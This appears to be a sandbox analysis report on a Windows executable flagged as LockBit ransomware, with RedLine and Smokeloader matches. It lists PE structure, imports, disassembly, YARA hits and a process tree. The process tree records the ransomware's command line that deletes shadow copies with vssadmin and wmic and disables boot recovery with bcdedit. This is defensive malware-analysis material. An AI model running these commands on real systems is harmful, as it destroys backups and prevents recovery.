File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K.l...l...l..m#X..l...>[..l...>M..l.......l...l...l...>J..l...>Z..l...>_..l..Rich.l..................PE..L...s..b...........

File Icon


Icon Hash:	1370712932d4ec13

Static PE Info

General

Entrypoint:	0x405eee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6210B173 [Sat Feb 19 08:59:31 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	915857a0c1b1198d919ed99e3d150aa9

Entrypoint Preview

Instruction
call 00007F6C78669568h
jmp 00007F6C7866504Dh
int3
int3
int3
int3
int3
int3
int3
int3
mov edx, dword ptr [esp+0Ch]
mov ecx, dword ptr [esp+04h]
test edx, edx
je 00007F6C7866523Bh
xor eax, eax
mov al, byte ptr [esp+08h]
test al, al
jne 00007F6C786651E8h
cmp edx, 00000100h
jc 00007F6C786651E0h
cmp dword ptr [02BE40C4h], 00000000h
je 00007F6C786651D7h
jmp 00007F6C7866961Ch
push edi
mov edi, ecx
cmp edx, 04h
jc 00007F6C78665203h
neg ecx
and ecx, 03h
je 00007F6C786651DEh
sub edx, ecx
mov byte ptr [edi], al
add edi, 01h
sub ecx, 01h
jne 00007F6C786651C8h
mov ecx, eax
shl eax, 08h
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 03h
shr ecx, 02h
je 00007F6C786651D8h
rep stosd
test edx, edx
je 00007F6C786651DCh
mov byte ptr [edi], al
add edi, 01h
sub edx, 01h
jne 00007F6C786651C8h
mov eax, dword ptr [esp+08h]
pop edi
ret
mov eax, dword ptr [esp+04h]
ret
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F6C786651DAh
cmp edi, eax
jc 00007F6C7866537Ah
cmp ecx, 00000100h
jc 00007F6C786651F1h
cmp dword ptr [02BE40C4h], 00000000h
je 00007F6C786651E8h
push edi
push esi
and edi, 0Fh

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x14fac	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x27e5000	0xd2c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1210	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4388	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1c8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x14a04	0x14c00	False	0.5391330948795181	data	6.330511545577577	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x16000	0x27ce0cc	0x68600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x27e5000	0xd2c8	0xd400	False	0.45681014150943394	data	4.982907243404611	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x27e5520	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Spanish	Mexico
RT_ICON	0x27e5be8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Spanish	Mexico
RT_ICON	0x27e6150	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Spanish	Mexico
RT_ICON	0x27e71f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Spanish	Mexico
RT_ICON	0x27e76a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Spanish	Mexico
RT_ICON	0x27e7f48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Spanish	Mexico
RT_ICON	0x27ea4f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Spanish	Mexico
RT_ICON	0x27eb5c8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Spanish	Mexico
RT_ICON	0x27ec470	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Spanish	Mexico
RT_ICON	0x27ecd18	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Spanish	Mexico
RT_ICON	0x27ed3e0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Spanish	Mexico
RT_ICON	0x27ed948	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Spanish	Mexico
RT_ICON	0x27efef0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Spanish	Mexico
RT_ICON	0x27f0f98	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Spanish	Mexico
RT_ICON	0x27f1920	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Spanish	Mexico
RT_STRING	0x27f2000	0x148	data	Spanish	Mexico
RT_STRING	0x27f2148	0x17c	data	Spanish	Mexico
RT_ACCELERATOR	0x27f1e00	0x90	data	Spanish	Mexico
RT_GROUP_ICON	0x27eb598	0x30	data	Spanish	Mexico
RT_GROUP_ICON	0x27f1d88	0x76	data	Spanish	Mexico
RT_GROUP_ICON	0x27e7660	0x3e	data	Spanish	Mexico
RT_VERSION	0x27f1eb0	0x150	data
None	0x27f1e90	0xa	data	Spanish	Mexico
None	0x27f1ea0	0xa	data	Spanish	Mexico

Imports

DLL	Import
KERNEL32.dll	GetNumberOfConsoleInputEvents, GetStringTypeExW, GetConsoleTitleW, CreateFileW, Module32FirstW, GetConsoleAliasW, SetComputerNameW, GetSystemWindowsDirectoryA, GlobalUnlock, FindFirstVolumeMountPointA, CreateDirectoryExW, ZombifyActCtx, GetLogicalDriveStringsA, ReadConsoleInputW, GetTempPathW, GetCurrentDirectoryW, DebugBreak, LCMapStringA, GetProcAddress, LocalAlloc, GetBinaryTypeA, SetThreadUILanguage, GetHandleInformation, FindNextFileA, CompareStringA, LoadLibraryW, CreateNamedPipeA, GlobalFlags, GetModuleHandleA, CopyFileW, CreateActCtxA, lstrlenA, TlsAlloc, CreateActCtxW, DeleteVolumeMountPointA, MoveFileWithProgressW, CreateMailslotW, WriteConsoleInputA, InterlockedExchangeAdd, EnumTimeFormatsA, FindFirstFileW, FreeEnvironmentStringsW, VerifyVersionInfoW, GlobalAlloc, GetTickCount, SetLastError, GetLastError, CreateFileA, UnhandledExceptionFilter, LoadLibraryA, SetUnhandledExceptionFilter, DeleteFileA, GetCommandLineA, GetStartupInfoA, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, HeapFree, GetModuleHandleW, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, EnterCriticalSection, LeaveCriticalSection, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, DeleteCriticalSection, HeapCreate, VirtualFree, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, RaiseException, HeapAlloc, VirtualAlloc, HeapReAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle
USER32.dll	GetCursorInfo
GDI32.dll	GetBrushOrgEx

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Mexico

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 12, 2023 06:35:06.886888027 CET	49702	135	192.168.2.3	192.168.2.1
Mar 12, 2023 06:35:09.886729002 CET	49702	135	192.168.2.3	192.168.2.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 12, 2023 06:35:06.886938095 CET	192.168.2.1	192.168.2.3	8278	(Port unreachable)	Destination Unreachable
Mar 12, 2023 06:35:09.886817932 CET	192.168.2.1	192.168.2.3	8278	(Port unreachable)	Destination Unreachable

• Pna3t7DeL3.exe
• cmd.exe
• conhost.exe
• vssadmin.exe
• Pna3t7DeL3.exe
• WMIC.exe
• bcdedit.exe
• bcdedit.exe
• Pna3t7DeL3.exe
• Pna3t7DeL3.exe
• Pna3t7DeL3.exe

Click to jump to process

Target ID:	0
Start time:	06:34:59
Start date:	12/03/2023
Path:	C:\Users\user\Desktop\Pna3t7DeL3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Pna3t7DeL3.exe
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	523190C8ADB9F67F54BD299C9175D4E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.520342340.0000000002E46000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	06:35:12
Start date:	12/03/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	06:35:14
Start date:	12/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vssadmin.exePID: 7104, Parent PID: 7024

General

Target ID:	5
Start time:	06:35:17
Start date:	12/03/2023
Path:	C:\Windows\System32\vssadmin.exe
Wow64 process (32bit):	false
Commandline:	vssadmin delete shadows /all /quiet
Imagebase:	0x7ff67a9f0000
File size:	145920 bytes
MD5 hash:	47D51216EF45075B5F7EAA117CC70E40
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	10
Start time:	06:35:19
Start date:	12/03/2023
Path:	C:\Users\user\Desktop\Pna3t7DeL3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Pna3t7DeL3.exe"
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	523190C8ADB9F67F54BD299C9175D4E8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.330612625.0000000002E2C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: WMIC.exePID: 6108, Parent PID: 7024

General

Target ID:	12
Start time:	06:35:20
Start date:	12/03/2023
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic shadowcopy delete
Imagebase:	0x7ff6bb420000
File size:	521728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	15
Start time:	06:35:25
Start date:	12/03/2023
Path:	C:\Windows\System32\bcdedit.exe
Wow64 process (32bit):	false
Commandline:	bcdedit /set {default} bootstatuspolicy ignoreallfailures
Imagebase:	0x7ff63bbc0000
File size:	461824 bytes
MD5 hash:	6E05CD5195FDB8B6C68FC90074817293
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	16
Start time:	06:35:26
Start date:	12/03/2023
Path:	C:\Windows\System32\bcdedit.exe
Wow64 process (32bit):	false
Commandline:	bcdedit /set {default} recoveryenabled no
Imagebase:	0x7ff63bbc0000
File size:	461824 bytes
MD5 hash:	6E05CD5195FDB8B6C68FC90074817293
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	18
Start time:	06:35:27
Start date:	12/03/2023
Path:	C:\Users\user\Desktop\Pna3t7DeL3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Pna3t7DeL3.exe"
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	523190C8ADB9F67F54BD299C9175D4E8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.351105527.0000000002C1C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low

Analysis Process: Pna3t7DeL3.exePID: 5068, Parent PID: 2680

General

Target ID:	26
Start time:	06:35:37
Start date:	12/03/2023
Path:	C:\Users\user\Desktop\Pna3t7DeL3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Pna3t7DeL3.exe"
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	523190C8ADB9F67F54BD299C9175D4E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001A.00000002.349816093.0000000002CCC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: 